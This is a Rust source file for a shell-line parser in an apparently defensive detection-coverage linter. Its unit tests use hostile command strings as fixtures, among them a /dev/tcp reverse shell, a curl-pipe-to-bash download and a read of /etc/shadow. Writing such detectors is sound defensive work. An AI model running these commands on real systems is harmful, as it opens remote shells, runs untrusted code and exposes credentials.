Skip to main content

opseclint_core/
parser.rs

1//! A pragmatic shell-line parser. It is deliberately not a full POSIX shell
2//! grammar: it tokenizes with quote awareness, strips comments, splits a line
3//! into command segments on the common control operators, and resolves each
4//! segment to a program basename plus arguments (stripping wrappers like
5//! `sudo`/`env` and `VAR=value` assignments). Good enough to drive static
6//! detection-coverage matching; the raw line is always preserved so that
7//! substring-based rules (redirections, pipe-to-shell, sensitive paths) still
8//! match regardless of tokenization edge cases.
9
10/// A resolved command: the program invoked and its arguments, plus the raw
11/// text of the line it came from.
12#[derive(Debug, Clone)]
13pub struct Command {
14    /// The program's basename, with any wrapper (`sudo`, `env`, …) already
15    /// stripped and a path reduced to its final segment: `/usr/bin/curl` and
16    /// `sudo curl` both resolve to `curl`.
17    pub program: String,
18    /// The argument vector, without the program itself. Quotes are removed and
19    /// `VAR=value` assignments dropped, so these are the values as the program
20    /// would receive them.
21    pub args: Vec<String>,
22    /// The raw source line this command came from, kept whole. Line-scoped
23    /// predicates (redirections, pipes, markers that span tokens) test against
24    /// this rather than the tokens, so a command extracted from a pipeline
25    /// still sees the pipeline it sat in.
26    pub raw: String,
27}
28
29/// Wrapper programs whose presence at the head of a segment should be skipped
30/// to reach the "real" command underneath.
31const WRAPPERS: &[&str] = &[
32    "sudo", "env", "nohup", "time", "command", "exec", "builtin", "doas", "setsid", "stdbuf",
33    "nice", "ionice", "unbuffer",
34];
35
36/// Tokens that separate one command from the next within a line.
37const SEPARATORS: &[&str] = &[";", "|", "||", "&&", "&"];
38
39/// Tokenize a single line with quote awareness, returning bare tokens (quote
40/// characters removed). Comments (`#` beginning a word) terminate the line.
41fn tokenize(line: &str) -> Vec<String> {
42    let mut tokens = Vec::new();
43    let mut cur = String::new();
44    let mut in_single = false;
45    let mut in_double = false;
46    let mut prev_was_space = true; // start-of-line counts as space for `#`
47
48    let mut chars = line.chars().peekable();
49    while let Some(c) = chars.next() {
50        match c {
51            '\'' if !in_double => {
52                in_single = !in_single;
53                prev_was_space = false;
54            }
55            '"' if !in_single => {
56                in_double = !in_double;
57                prev_was_space = false;
58            }
59            '#' if !in_single && !in_double && prev_was_space => {
60                break; // start of a comment
61            }
62            c if c.is_whitespace() && !in_single && !in_double => {
63                if !cur.is_empty() {
64                    tokens.push(std::mem::take(&mut cur));
65                }
66                prev_was_space = true;
67            }
68            // Control operators break the current token even without
69            // surrounding whitespace (e.g. `id;curl` or `a|b`). `||`/`&&` are
70            // emitted as a single separator token.
71            ';' | '|' | '&' if !in_single && !in_double => {
72                if !cur.is_empty() {
73                    tokens.push(std::mem::take(&mut cur));
74                }
75                let op = if (c == '|' || c == '&') && chars.peek() == Some(&c) {
76                    chars.next();
77                    format!("{c}{c}")
78                } else {
79                    c.to_string()
80                };
81                tokens.push(op);
82                prev_was_space = true;
83            }
84            c => {
85                cur.push(c);
86                prev_was_space = false;
87            }
88        }
89    }
90    if !cur.is_empty() {
91        tokens.push(cur);
92    }
93    tokens
94}
95
96fn is_assignment(tok: &str) -> bool {
97    // NAME=value with a valid shell identifier before '='.
98    if let Some(eq) = tok.find('=') {
99        if eq == 0 {
100            return false;
101        }
102        let name = &tok[..eq];
103        let mut chars = name.chars();
104        let first_ok = chars
105            .next()
106            .map(|c| c.is_ascii_alphabetic() || c == '_')
107            .unwrap_or(false);
108        return first_ok && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_');
109    }
110    false
111}
112
113/// Executable-name extensions to strip so `whoami.exe` matches `whoami`. Safe
114/// for Linux input (native binaries rarely carry these).
115const EXE_EXTENSIONS: &[&str] = &[".exe", ".com", ".bat", ".cmd", ".ps1"];
116
117/// Resolve a program path to its matched basename: the last path segment with a
118/// leading `./` and a known executable extension stripped (`C:\…\certutil.exe`
119/// → `certutil`). This is the exact normalization the matcher's `program` axis
120/// keys on, so telemetry ingestion reuses it to reduce a Sysmon `Image` to the
121/// same basename a parsed command line would yield.
122pub(crate) fn basename(program: &str) -> String {
123    let trimmed = program.strip_prefix("./").unwrap_or(program);
124    // Split on both POSIX and Windows path separators.
125    let last = trimmed.rsplit(['/', '\\']).next().unwrap_or(trimmed);
126    let lower = last.to_ascii_lowercase();
127    for ext in EXE_EXTENSIONS {
128        if let Some(stripped) = lower.strip_suffix(ext) {
129            return last[..stripped.len()].to_string();
130        }
131    }
132    last.to_string()
133}
134
135/// Resolve one segment's tokens into a [`Command`], skipping leading
136/// assignments and wrapper programs. Returns `None` for an empty segment.
137fn to_command(tokens: &[String], raw: &str) -> Option<Command> {
138    let mut i = 0;
139    while i < tokens.len() {
140        let tok = &tokens[i];
141        if is_assignment(tok) {
142            i += 1;
143            continue;
144        }
145        if WRAPPERS.contains(&tok.to_lowercase().as_str()) {
146            i += 1;
147            // Skip option flags belonging to the wrapper (best-effort).
148            while i < tokens.len() && tokens[i].starts_with('-') {
149                i += 1;
150            }
151            continue;
152        }
153        break;
154    }
155    let program_tok = tokens.get(i)?;
156    let program = basename(program_tok);
157    let args = tokens.get(i + 1..).unwrap_or(&[]).to_vec();
158    Some(Command {
159        program,
160        args,
161        raw: raw.to_string(),
162    })
163}
164
165/// Parse a single source line into zero or more commands. Each command carries
166/// the full raw line so that substring rules remain line-scoped.
167pub fn parse_line(line: &str) -> Vec<Command> {
168    let raw = line.trim().to_string();
169    let tokens = tokenize(line);
170    if tokens.is_empty() {
171        return Vec::new();
172    }
173
174    let mut commands = Vec::new();
175    let mut segment: Vec<String> = Vec::new();
176    for tok in tokens {
177        if SEPARATORS.contains(&tok.as_str()) {
178            if let Some(cmd) = to_command(&segment, &raw) {
179                commands.push(cmd);
180            }
181            segment.clear();
182        } else {
183            segment.push(tok);
184        }
185    }
186    if let Some(cmd) = to_command(&segment, &raw) {
187        commands.push(cmd);
188    }
189    commands
190}
191
192/// A logical unit of input to analyze: a command line (after joining
193/// continuations) plus the physical line it started on. Here-doc bodies fed to
194/// a shell interpreter are emitted as their own units at their real line.
195#[derive(Debug, Clone)]
196pub(crate) struct Unit {
197    pub line: usize,
198    pub text: String,
199}
200
201/// Shell / scripting interpreters. A here-doc fed to one of these has its body
202/// analyzed (it is executable code, not data).
203const INTERPRETERS: &[&str] = &[
204    "bash", "sh", "dash", "zsh", "ksh", "python", "python3", "python2", "perl", "ruby", "php",
205    "node",
206];
207
208fn ends_with_odd_backslash(line: &str) -> bool {
209    line.chars().rev().take_while(|&c| c == '\\').count() % 2 == 1
210}
211
212/// The delimiter word of the first here-doc operator (`<<WORD`, `<<-WORD`,
213/// `<<'WORD'`) in `text`, if any. Here-strings (`<<<`) yield `None`.
214fn heredoc_delimiter(text: &str) -> Option<String> {
215    let idx = text.find("<<")?;
216    let after = &text[idx + 2..];
217    if after.starts_with('<') {
218        return None; // here-string <<<
219    }
220    let after = after.strip_prefix('-').unwrap_or(after);
221    let after = after.trim_start().trim_start_matches(['\'', '"']);
222    let delim: String = after
223        .chars()
224        .take_while(|c| c.is_ascii_alphanumeric() || *c == '_')
225        .collect();
226    (!delim.is_empty()).then_some(delim)
227}
228
229/// Does this command line invoke a shell / scripting interpreter (e.g. the
230/// consumer of a here-doc body)?
231fn feeds_interpreter(text: &str) -> bool {
232    parse_line(text)
233        .iter()
234        .any(|c| INTERPRETERS.contains(&c.program.as_str()))
235}
236
237/// Extract the inner text of every `$(...)` and backtick command substitution,
238/// recursing into nested `$(...)`.
239pub(crate) fn command_substitutions(text: &str) -> Vec<String> {
240    let mut out = Vec::new();
241    let bytes = text.as_bytes();
242    let mut i = 0;
243    while i < bytes.len() {
244        if bytes[i] == b'$' && i + 1 < bytes.len() && bytes[i + 1] == b'(' {
245            let start = i + 2;
246            let mut depth = 1;
247            let mut j = start;
248            while j < bytes.len() {
249                match bytes[j] {
250                    b'(' => depth += 1,
251                    b')' => {
252                        depth -= 1;
253                        if depth == 0 {
254                            break;
255                        }
256                    }
257                    _ => {}
258                }
259                j += 1;
260            }
261            if depth == 0 {
262                let inner = &text[start..j];
263                out.push(inner.to_string());
264                out.extend(command_substitutions(inner));
265                i = j + 1;
266                continue;
267            }
268        }
269        if bytes[i] == b'`'
270            && let Some(rel) = text[i + 1..].find('`')
271        {
272            let inner = &text[i + 1..i + 1 + rel];
273            out.push(inner.to_string());
274            i = i + 1 + rel + 1;
275            continue;
276        }
277        i += 1;
278    }
279    out
280}
281
282/// Split raw input into logical units, honoring line continuations (trailing
283/// `\`, `|`, `&&`, `||`) and here-docs. A here-doc body is treated as data and
284/// skipped, unless the command consuming it is a shell/interpreter, in which
285/// case each body line becomes its own unit at its physical line number.
286pub(crate) fn preprocess(input: &str) -> Vec<Unit> {
287    let phys: Vec<&str> = input.lines().collect();
288    let mut units = Vec::new();
289    let mut i = 0;
290    while i < phys.len() {
291        let start_line = i + 1;
292        // Join continuation lines.
293        let mut parts: Vec<String> = Vec::new();
294        let mut j = i;
295        loop {
296            let raw = phys[j];
297            if ends_with_odd_backslash(raw) && j + 1 < phys.len() {
298                let pos = raw.rfind('\\').unwrap();
299                parts.push(raw[..pos].to_string());
300                j += 1;
301                continue;
302            }
303            parts.push(raw.to_string());
304            let te = raw.trim_end();
305            let op_cont = te.ends_with("&&")
306                || te.ends_with("||")
307                || (te.ends_with('|') && !te.ends_with("||"));
308            if op_cont && j + 1 < phys.len() {
309                j += 1;
310                continue;
311            }
312            break;
313        }
314        let text = parts.join(" ");
315
316        // Emit the command line itself.
317        units.push(Unit {
318            line: start_line,
319            text: text.clone(),
320        });
321
322        // Here-doc body follows the last physical line of the logical command.
323        let mut next = j + 1;
324        if let Some(delim) = heredoc_delimiter(&text) {
325            let fed = feeds_interpreter(&text);
326            let mut k = j + 1;
327            while k < phys.len() && phys[k].trim() != delim {
328                if fed {
329                    units.push(Unit {
330                        line: k + 1,
331                        text: phys[k].to_string(),
332                    });
333                }
334                k += 1;
335            }
336            next = if k < phys.len() { k + 1 } else { k };
337        }
338        i = next;
339    }
340    units
341}
342
343#[cfg(test)]
344mod tests {
345    use super::*;
346
347    #[test]
348    fn strips_sudo_and_assignments() {
349        let cmds = parse_line("FOO=bar sudo cat /etc/shadow");
350        assert_eq!(cmds.len(), 1);
351        assert_eq!(cmds[0].program, "cat");
352        assert_eq!(cmds[0].args, vec!["/etc/shadow"]);
353    }
354
355    #[test]
356    fn splits_on_pipe_and_semicolon() {
357        let cmds = parse_line("id; curl http://x/y | bash");
358        let progs: Vec<_> = cmds.iter().map(|c| c.program.as_str()).collect();
359        assert_eq!(progs, vec!["id", "curl", "bash"]);
360    }
361
362    #[test]
363    fn comment_is_ignored() {
364        let cmds = parse_line("whoami # who am I");
365        assert_eq!(cmds.len(), 1);
366        assert_eq!(cmds[0].program, "whoami");
367    }
368
369    #[test]
370    fn hash_inside_quotes_is_kept() {
371        let cmds = parse_line("echo '# not a comment'");
372        assert_eq!(cmds[0].program, "echo");
373        assert_eq!(cmds[0].args, vec!["# not a comment"]);
374    }
375
376    #[test]
377    fn basename_resolves_path() {
378        let cmds = parse_line("/usr/bin/whoami");
379        assert_eq!(cmds[0].program, "whoami");
380    }
381
382    #[test]
383    fn raw_is_preserved_for_redirect() {
384        let cmds = parse_line("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1");
385        assert!(cmds[0].raw.contains("/dev/tcp"));
386    }
387
388    #[test]
389    fn backslash_continuation_joins_lines() {
390        let units = preprocess("curl \\\n  http://x/y");
391        assert_eq!(units.len(), 1);
392        assert!(units[0].text.contains("curl"));
393        assert!(units[0].text.contains("http://x/y"));
394    }
395
396    #[test]
397    fn trailing_pipe_continues_to_next_line() {
398        let units = preprocess("curl http://x/y |\n bash");
399        assert_eq!(units.len(), 1);
400        assert!(units[0].text.contains("| bash") || units[0].text.contains("|  bash"));
401    }
402
403    #[test]
404    fn heredoc_data_body_is_skipped_but_shell_body_is_kept() {
405        // cat's here-doc is data -> only the `cat` line is a unit.
406        let data = preprocess("cat <<EOF\nsecret-token=abc\nEOF\nwhoami");
407        let texts: Vec<_> = data.iter().map(|u| u.text.trim()).collect();
408        assert!(texts.contains(&"cat <<EOF"));
409        assert!(!texts.iter().any(|t| t.contains("secret-token")));
410        assert!(texts.contains(&"whoami"));
411
412        // bash's here-doc is executable -> body lines become units.
413        let shell = preprocess("bash <<EOF\nwhoami\nEOF");
414        assert!(shell.iter().any(|u| u.text.trim() == "whoami"));
415    }
416
417    #[test]
418    fn extracts_command_substitutions() {
419        let subs = command_substitutions("x=$(whoami); y=`id`");
420        assert!(subs.iter().any(|s| s.contains("whoami")));
421        assert!(subs.iter().any(|s| s.contains("id")));
422    }
423}